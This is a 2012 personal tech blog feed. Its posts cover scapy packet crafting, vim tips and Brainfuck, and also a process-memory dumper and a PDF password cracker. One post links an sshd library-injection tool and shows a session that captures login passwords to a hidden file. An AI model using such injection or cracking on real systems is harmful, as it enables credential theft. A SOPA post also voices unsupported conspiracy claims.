<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-4776672193816865559</id><updated>2012-02-02T22:21:34.682-08:00</updated><title type='text'>Missing Link</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><link rel='next' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default?start-index=101&amp;max-results=100'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>181</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-42195593395498635</id><published>2012-01-24T01:13:00.000-08:00</published><updated>2012-01-24T02:06:33.331-08:00</updated><title type='text'>Easing vim use</title><content type='html'>The following is a vim script that makes it easier to use vim for those who are familiar with graphical editors:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="Code" class="Cpp"&gt;:map &lt;esc&gt; :q!&lt;cr&gt;
:map &amp;lt;C-c&amp;gt; :w !xclip&lt;cr&gt;&lt;cr&gt;
:map &amp;lt;C-v&amp;gt; :r!xclip -o&lt;cr&gt;
:map &amp;lt;C-w&amp;gt; :wq!&lt;cr&gt;
:map &amp;lt;C-z&amp;gt; :u &lt;cr&gt;

&lt;/pre&gt;&lt;br /&gt;
To use the above, just save the above contents to a file (say, easyedit.vim, in the home directory ~/easyedit.vim) and include the following into the ~/.vimrc file as follows:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="Code" class="Cpp"&gt;so ~/easyedit.vim

&lt;/pre&gt;&lt;br /&gt;
Then start up vim, and you can see that you can use ctrl-c, ctrl-v, ctrl-z, ctrl-w and esc buttons and see behavior as expected in a graphical editor&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-42195593395498635?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/42195593395498635/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/vim-enhancements.html#comment-form' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/42195593395498635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/42195593395498635'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/vim-enhancements.html' title='Easing vim use'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-3677335688871762356</id><published>2012-01-23T22:21:00.000-08:00</published><updated>2012-01-23T22:22:08.656-08:00</updated><title type='text'>Making the blog better</title><content type='html'>After 1000s of accesses, I have got many inputs to improve this blog. One of them being that I must first make it good to read. I will start working on this from today onwards. Article by article, I will make them readable. I kind of like the hackish way of doing things and ended up writing comprehensive and concise information in my blog. My efforts will be more towards better readability from now onwards :)&lt;br /&gt;
&lt;br /&gt;
BTW all of those who take time to visit my blog, a big thank you for visiting my blog. I hope I get more audience once I make improvements :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-3677335688871762356?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/3677335688871762356/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/making-blog-better.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3677335688871762356'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/3677335688871762356'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/making-blog-better.html' title='Making the blog better'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2180501519638244593</id><published>2012-01-19T23:31:00.001-08:00</published><updated>2012-01-23T23:51:39.716-08:00</updated><title type='text'>DHCP discovery using scapy</title><content type='html'>Taken from &lt;a href="http://www.attackvector.org/network-discovery-via-dhcp-using-python-scapy/"&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Putting it plain and simple:&lt;br /&gt;
&lt;br /&gt;
The following script sends a network packet containing the following layers:&lt;br /&gt;
&lt;br /&gt;
a. DHCP: Application layer packet, &lt;a href="http://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol"&gt;message-type=discover&lt;/a&gt;&lt;br /&gt;
b. BOOTP: &lt;b&gt;chaddr&lt;/b&gt; is used both as a hardware address for transmission of BOOTP reply messages and as a client identifier == &lt;a href="http://www.freesoft.org/CIE/RFC/2131/8.htm"&gt;MAC address of the nic&lt;/a&gt;&lt;br /&gt;
c. UDP: destination port is &lt;a href="http://en.wikipedia.org/wiki/Dynamic_Host_Configuration_Protocol"&gt;67&lt;/a&gt;&lt;br /&gt;
d. IP: destination IP is broadcast &lt;a href="http://wiki.answers.com/Q/What_is_the_Significance_of_ip_address_255.255.255.255"&gt;IP address 255.255.255.255&lt;/a&gt;&lt;br /&gt;
e. ETHERNET: destination MAC is &lt;a href="http://www.firewall.cx/networking-topics/general-networking/109-network-broadcast.html"&gt;broadcast MAC ff:ff:ff:ff:ff:ff&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="Code" class="Cpp"&gt;from scapy.all import *
import sys

conf.checkIPaddr = False

#
# Get the hardware address of nic card
#
fam,hw = get_if_raw_hwaddr(conf.iface)

def dhcp_discover(resp):
    print "Source: " +resp[Ether].src
    print "Dest: " +resp[Ether].dst

#
# What if there is no DHCP component 
# in the incoming packet (so try and except)
#
    try: 
        for opt in resp[DHCP].options:
            if opt == 'end':
                break
            elif opt == 'pad':
                break
            print "Response:" + opt
    except:
        return 0
#
# send the raw packet to network
#
    sendp(Ether(dst="ff:ff:ff:ff:ff:ff") \
    /IP(src="0.0.0.0",dst="255.255.255.255") \
    /UDP(sport=68,dport=67)/BOOTP(chaddr=hw) \
    /DHCP(options=[("message-type","discover")]),count=3)

#
# sniff on udp port 67 and 68 
# and run the function dhcp_discover on all packets sniffed
# 
sniff(filter="udp and (port 67 or 68)", \
        prn=dhcp_discover, store=1)

&lt;/pre&gt;&lt;br /&gt;
The following is the response from DHCP server&lt;br /&gt;
, when the above script is executed&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="Code" class="Cpp"&gt;# python dhcp,py
Source: 00:1c:f9:93:04:00
Dest: 00:50:56:7c:c3:4f
('message-type', 5)
('server_id', '10.112.11.12')
('lease_time', 1800)
('subnet_mask', '255.255.252.0')
('router', '10.112.75.253')
('domain', 'dhcpserver.com')
('name_server', '10.112.11.12')

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2180501519638244593?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2180501519638244593/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/dhcp-discovery-using-scapy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2180501519638244593'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2180501519638244593'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/dhcp-discovery-using-scapy.html' title='DHCP discovery using scapy'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-918008326444659776</id><published>2012-01-19T23:14:00.000-08:00</published><updated>2012-01-19T23:14:41.396-08:00</updated><title type='text'>PPPoE using scapy</title><content type='html'>Article taken from &lt;a href="http://securfox.wordpress.com/2011/01/"&gt;here&lt;/a&gt; (directly reproduced below):&lt;br /&gt;
&lt;br /&gt;
Publication date : February 1999&lt;br /&gt;
RFC Author(s) : R.Wheeler, D.Simone, D. Carrel, J. Evarts, K. Lidl, L. Mamakos&lt;br /&gt;
Category : informational&lt;br /&gt;
&lt;br /&gt;
The Point-to-point Protocol (PPP) provides a standard method for transporting multi-protocol datagrams over point-to-point links.&lt;br /&gt;
&lt;br /&gt;
PPPoE has two differents stages, first one is PPP Discovery stage that contains four steps when a host discovers the MAC address of peer (Concentrator) and the PPPoE session ID.&lt;br /&gt;
In the fact, the Mac address and PPPoE_SESSION_ID uniquely define a ession.&lt;br /&gt;
The relationship between the peers is a simple client/server when a client asks server(Concentrator) for informations to establish&lt;br /&gt;
the session.&lt;br /&gt;
&lt;br /&gt;
The Frame sent is a simple Ethernet frame where the ETHER_TYPE is set to either 0×8863 (Discovery Stage) or 0×8864 (PPP Session Stage).&lt;br /&gt;
&lt;br /&gt;
Here is the Ethernet Payload for PPPoE:&lt;br /&gt;
[ VER:4 | TYPE:4 | CODE:8 | SESSION_ID:16 | LENGTH:16 | PAYLOAD:16 ]&lt;br /&gt;
&lt;br /&gt;
Discovery Stage : Ethernet Frame have the ETHER_TYPE field set to 0×8863&lt;br /&gt;
&lt;br /&gt;
1. Client to server: Initiation (PPPoE Active Discovery Initiation)&lt;br /&gt;
PADI:&lt;br /&gt;
* Host send a broadcast packet, with the code field set to 0×09&lt;br /&gt;
* The session id set to 0×0000&lt;br /&gt;
&lt;br /&gt;
2. Server to client: Offer (PPPoE Active Disocvery Offer)&lt;br /&gt;
PADO:&lt;br /&gt;
* Access Concentrator reply to an unicast address, with code set to 0×07&lt;br /&gt;
* The session id set to 0×0000&lt;br /&gt;
* PADO packet contains AC-Name TAG, Service-Name TAG&lt;br /&gt;
&lt;br /&gt;
3. Client to server: Request (PPPoE Active Discovery Request)&lt;br /&gt;
PADR:&lt;br /&gt;
* Host receive one or more PADO packet and has to choice one&lt;br /&gt;
* Choice is based on AC-Name or Services offred&lt;br /&gt;
* Host send one PADR packet to Concentrator&lt;br /&gt;
* Destination is the unicat Ethernet address of Cencentrator&lt;br /&gt;
* code field is set to 0×19 and session id is set to 0×0000&lt;br /&gt;
&lt;br /&gt;
4. Server to client: Session-confirmation (PPPoE Active Discovery Session-confirmation)&lt;br /&gt;
PADS:&lt;br /&gt;
* When Access receive PADR it prepare to begin PPP session&lt;br /&gt;
* generate a unique session id&lt;br /&gt;
* reply with an unicat Ethernet address&lt;br /&gt;
* code field is set to 0×65&lt;br /&gt;
* contains exactly one TAG of TAG_TYPE Service-Name&lt;br /&gt;
&lt;br /&gt;
5. Either end to other end: Termination (PADT)&lt;br /&gt;
* packet sent bu host or Access Concentrator&lt;br /&gt;
* session is established&lt;br /&gt;
* Destination address is unicast&lt;br /&gt;
* session is the SESSION_ID generated&lt;br /&gt;
* code field is set to 0xa7&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;Examples Using scapy:
1. PADI:
sendp(Ether(type=0×8863,src=”00:60:4c:72:e7:69″,dst=”ff:ff:ff:ff:ff:ff”)/PPPoED(code=0×09,sessionid=0×0000),iface=”nas0″)

PADO:
2. sendp(Ether(type=0×8863,src=”00:bf:12:fa:90:fd”, dst=”00:60:4c:72:e7:69″)/PPPoED(code=0×07,sessionid=0×0000),iface=”nas0″)
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-918008326444659776?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/918008326444659776/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/pppoe-using-scapy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/918008326444659776'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/918008326444659776'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/pppoe-using-scapy.html' title='PPPoE using scapy'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-5768409624613494943</id><published>2012-01-17T23:24:00.000-08:00</published><updated>2012-01-17T23:29:55.976-08:00</updated><title type='text'>SOPA and PIPA</title><content type='html'>All that had to be known about the conspiratorial nature of the events happening nowadays should have been known by almost all people by now. Except for remotely existing communities of people or tribes (who live without the support of the global conspirators, and don't really care about them), all others in civilised societies should have known enough through internet by now. For all those in those societies, that still need to be educated, it will require something more than just internet to do educate them. So suppressing internet freedom, though a really bad step, doesn't really create much of a problem.&lt;br /&gt;
&lt;br /&gt;
For all the honest efforts put by enlightened people around the world to explain the nature of what is happening around us, A BIG THANK YOU&lt;br /&gt;
&lt;br /&gt;
For all those who have been sitting at the top, making such legislation, a sincere advice: Have some common sense and don't suppress internet freedom; Remember, today you are powerful people and nothing is permanent except GOD&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-5768409624613494943?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/5768409624613494943/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/sopa-and-pipa.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5768409624613494943'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5768409624613494943'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/sopa-and-pipa.html' title='SOPA and PIPA'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-1757256627147024546</id><published>2012-01-17T22:57:00.001-08:00</published><updated>2012-02-02T22:21:34.828-08:00</updated><title type='text'>Just wrote my name in BF programming language</title><content type='html'>&lt;a href="http://en.wikipedia.org/wiki/Brainfuck"&gt;BrainFuck programming language&lt;/a&gt; engages your mind when you are dull, makes you think for a while and makes you think of computer history (or rather history of programming). In case your brain is already f****ed, you would possibly write a lot of applications in brainfuck programming language :)&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://esoteric.sange.fi/brainfuck/"&gt;There are guys&lt;/a&gt; who have already f****ed their brain and &lt;a href="http://code.google.com/p/awib/"&gt;there are guys&lt;/a&gt; who are recursively f****ing their brains&lt;br /&gt;
&lt;a href="http://j.mearie.org/post/1181041789/brainfuck-interpreter-in-2-lines-of-c"&gt;&lt;br /&gt;
Here&lt;/a&gt; is the world's smallest brainfuck compiler written in C:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
/* The world's smallest Brainfuck interpreter in C, by Kang Seonghoon
* http://j.mearie.org/post/1181041789/brainfuck-interpreter-in-2-lines-of-c */
s[99],*r=s,*d,c;main(a,b){char*v=1[d=b];for(;c=*v++%93;)for(b=c&amp;2,b=c%7?a&amp;&amp;(c&amp;17
?c&amp;1?(*r+=b-1):(r+=b-1):syscall(4-!b,b,r,1),0):v;b&amp;&amp;c|a**r;v=d)main(!c,&amp;a);d=v;}


&lt;/pre&gt;&lt;br /&gt;
With this much understanding of brainfuck, I started writing a small program using brainfuck to print my name in the most childish way, and here is the result:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;++++++++++[&gt;++++++++&gt;+++++++++++&gt;+++++++++&gt;++++++++++&gt;++++++++++&gt;+++++++++++&gt;++++++++++&gt;+++++++++++&gt;+++++++++&gt;+++&gt;++++++&gt;++++++++++&gt;+++++++++&gt;+++++++++++&gt;++++++++++&gt;+++++++++++&gt;+++++++++&gt;++++++++++&gt;+++++++++&gt;+++++++++++&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;-]&gt;+++.&gt;+++++++.&gt;+++++++++.&gt;++++.&gt;+++++.&gt;.&gt;.&gt;++++.&gt;+++++++.&gt;++.&gt;+++++++.&gt;++++.&gt;+++++++.&gt;.&gt;.&gt;++++.&gt;+++++++.&gt;++++.&gt;+++++++.&gt;+++++.&gt;+++++++.&gt;.&gt;.&gt;++++.&gt;+++++++.&gt;+++++++.&gt;++++.&gt;+++++++.

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-1757256627147024546?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/1757256627147024546/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/just-wrote-my-name-in-bf-programming.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1757256627147024546'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/1757256627147024546'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/just-wrote-my-name-in-bf-programming.html' title='Just wrote my name in BF programming language'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-5199466952208489525</id><published>2012-01-13T23:41:00.000-08:00</published><updated>2012-01-15T23:32:30.519-08:00</updated><title type='text'>SSH F***er (can't do anything, this is the name given by author)</title><content type='html'>&lt;a href="http://www.phrack.org/archives/59/p59_0x08_Runtime%20process%20infection_by_anonymous%20author.txt"&gt;Here&lt;/a&gt; is a utility to decrypt ssh passwords at runtime:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://ubuntuone.com/12kpy0kHBCy5PoGW96tN5h"&gt;Here&lt;/a&gt; is the gz&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
And below is an example:

root@:/tmp&gt; tar zxvf sshf.tgz
sshf/
sshf/sshf.c
sshf/evilsshd.c
sshf/Makefile.in
sshf/config.h.in
sshf/configure
root@:/tmp&gt; cd sshf
root@:/tmp/sshf&gt; ./configure ; make
checking for gcc... gcc
checking for C compiler default output... a.out
checking whether the C compiler works... yes
checking whether we are cross compiling... no
checking for executable suffix...
checking for object suffix... o
checking whether we are using the GNU C compiler... yes
checking whether gcc accepts -g... yes
checking for pam_start in -lpam... yes
checking for MD5_Update in -lcrypto... yes
configure: creating ./config.status
config.status: creating Makefile
config.status: creating config.h
gcc -w -fPIC -shared -o evilsshd.so evilsshd.c -lcrypt -lcrypto -lpam  
-DHAVE_CONFIG_H
gcc -w -o sshf sshf.c
root@:/tmp/sshf&gt; ps auwx | grep sshd
root      9597  0.0  0.3  2840 1312 ?        S    03:04   0:00 sshd
root@:/tmp/sshf&gt;
root@:/tmp/sshf&gt; ./sshf 9597 /tmp/sshf/evilsshd.so
attached to pid 9597
_dl_open at 0x4023014c
stopped 9597 at 0x402017ee
jam! if it jams here, try to telnet into sshd port or smthing
lib injection done!
org crypt() at 0x804b860, evil crypt at 0x40265d60
org getspnam at 0x804afa0, evil getspnam at 0x40265e0c
org strncmp() at 0x804b8f0, evil strncmp() at 0x40265a84
org MD5_Update() at 0x804bdf0, evil MD5Update at 0x40265aec
all done, now quiting...
root@:/tmp/sshf&gt;
root@:/tmp/sshf&gt; ssh -l luser 127.0.0.1
luser@127.0.0.1's password:
[luser@localhost:~&gt;ls -al /tmp/.sshd_passwordz
-rw-r--r--    1 root     root          104 Jul 14 03:27 
/tmp/.sshd_passwordz
[luser@localhost:~&gt;exit

&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-5199466952208489525?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/5199466952208489525/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/ssh-fer-cant-do-anything-this-is-name.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5199466952208489525'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5199466952208489525'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/ssh-fer-cant-do-anything-this-is-name.html' title='SSH F***er (can&apos;t do anything, this is the name given by author)'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-8453910681965573170</id><published>2012-01-13T23:32:00.000-08:00</published><updated>2012-01-13T23:32:04.998-08:00</updated><title type='text'>Cracking passwords of PDFs</title><content type='html'>A great &lt;a href="http://www.ubuntugeek.com/howto-crack-pdf-file-password.html"&gt;bruteforce utility&lt;/a&gt; which cracks passwords for PDFs&lt;br /&gt;
&lt;br /&gt;
Here is dummy output:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;
# pdfcrack /tmp/file.pdf -n 6 -s
PDF version 1.4
Security Handler: Standard
V: 2
R: 3
P: -1836
Length: 128
Encrypted Metadata: True
FileID: ad03b78cebfff9aea1caf3b0beef3fe3
U: 234asdaaffsfasdfar234rdasfdfafdfaasdfafsdf23423423423f
O: 234asdaaffsfasdfar234rdasfdfafdfaasdfafsdf23423423423f
Average Speed: 38801.4 w/s. Current Word: 'woscaa'
Average Speed: 38861.5 w/s. Current Word: 'GQKeaa'
Average Speed: 38544.9 w/s. Current Word: 'Z81gaa'
...
found user-password: dummypassword
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-8453910681965573170?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/8453910681965573170/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/cracking-passwords-of-pdfs.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8453910681965573170'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/8453910681965573170'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2012/01/cracking-passwords-of-pdfs.html' title='Cracking passwords of PDFs'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-4983602637551623990</id><published>2012-01-13T23:16:00.000-08:00</published><updated>2012-01-13T23:19:35.808-08:00</updated><title type='text'>Reading memory from processes in linux using python</title><content type='html'>Found an article &lt;a href="http://unix.stackexchange.com/questions/6267/how-to-unswap-my-desktop/6271#6271"&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Reproducing the script below:&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;#! /usr/bin/env python
import ctypes, re, sys

## Partial interface to ptrace(2), only for PTRACE_ATTACH and PTRACE_DETACH.

c_ptrace = ctypes.CDLL("libc.so.6").ptrace

# Defining type c_pid_t as c_int32

c_pid_t = ctypes.c_int32 

# Defining argument types for ptrace

c_ptrace.argtypes = [ctypes.c_int, c_pid_t, ctypes.c_void_p, ctypes.c_void_p]

def ptrace(attach, pid):

    # operand is 16 for ptrace_attach, and 17 for ptrace_detach

    op = ctypes.c_int(16 if attach else 17) #PTRACE_ATTACH or PTRACE_DETACH

    # Defining variable c_pid as type c_pid_t(pid)

    c_pid = c_pid_t(pid)

    # Defining variable null of type ctypes_c_void_p()

    null = ctypes.c_void_p()

    # Call the function finally

    err = c_ptrace(op, c_pid, null, null)
    if err != 0: raise SysError, 'ptrace', err

## Parse a line in /proc/$pid/maps. Return the boundaries of the chunk
## the read permission character.
def maps_line_range(line):

    # Does it contain something like ffeb099a-fbesgffd as below (snip of /proc/some ID/maps
    #
    # 00bfd000-00c63000 r-xp 00000000 08:01 14949996   /usr/lib/sane/libsane-hp3900.so.1.0.22
    # 00c63000-00c64000 r--p 00065000 08:01 14949996   /usr/lib/sane/libsane-hp3900.so.1.0.22
    # 00c64000-00c65000 rw-p 00066000 08:01 14949996   /usr/lib/sane/libsane-hp3900.so.1.0.22
    # 00c65000-00c67000 rw-p 00000000 00:00 0 
    # 00c67000-00c7e000 r-xp 00000000 08:01 14949951   /usr/lib/sane/libsane-coolscan3.so.1.0.22
    # 00c7e000-00c7f000 r--p 00016000 08:01 14949951   /usr/lib/sane/libsane-coolscan3.so.1.0.22
    # 00c7f000-00c80000 rw-p 00017000 08:01 14949951   /usr/lib/sane/libsane-coolscan3.so.1.0.22

    m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)
    return [int(m.group(1), 16), int(m.group(2), 16), m.group(3)]

## Dump the readable chunks of memory mapped by a process
def cat_proc_mem(pid):

    ## Apparently we need to ptrace(PTRACE_ATTACH, $pid) to read /proc/$pid/mem
    ptrace(True, int(pid))
    ## Read the memory maps to see what address ranges are readable
    maps_file = open("/proc/" + pid + "/maps", 'r')
    ranges = map(maps_line_range, maps_file.readlines())
    maps_file.close()
    ## Read the readable mapped ranges
    mem_file = open("/proc/" + pid + "/mem", 'r', 0)
    for r in ranges:
        if r[2] == 'r':
            mem_file.seek(r[0])
            chunk = mem_file.read(r[1] - r[0])
            print chunk,
    mem_file.close()
    ## Cleanup
    ptrace(False, int(pid))

if __name__ == "__main__":

    # Get the PIDs of the process as sys.argv[1]

    for pid in sys.argv[1:]:
        cat_proc_mem(pid)

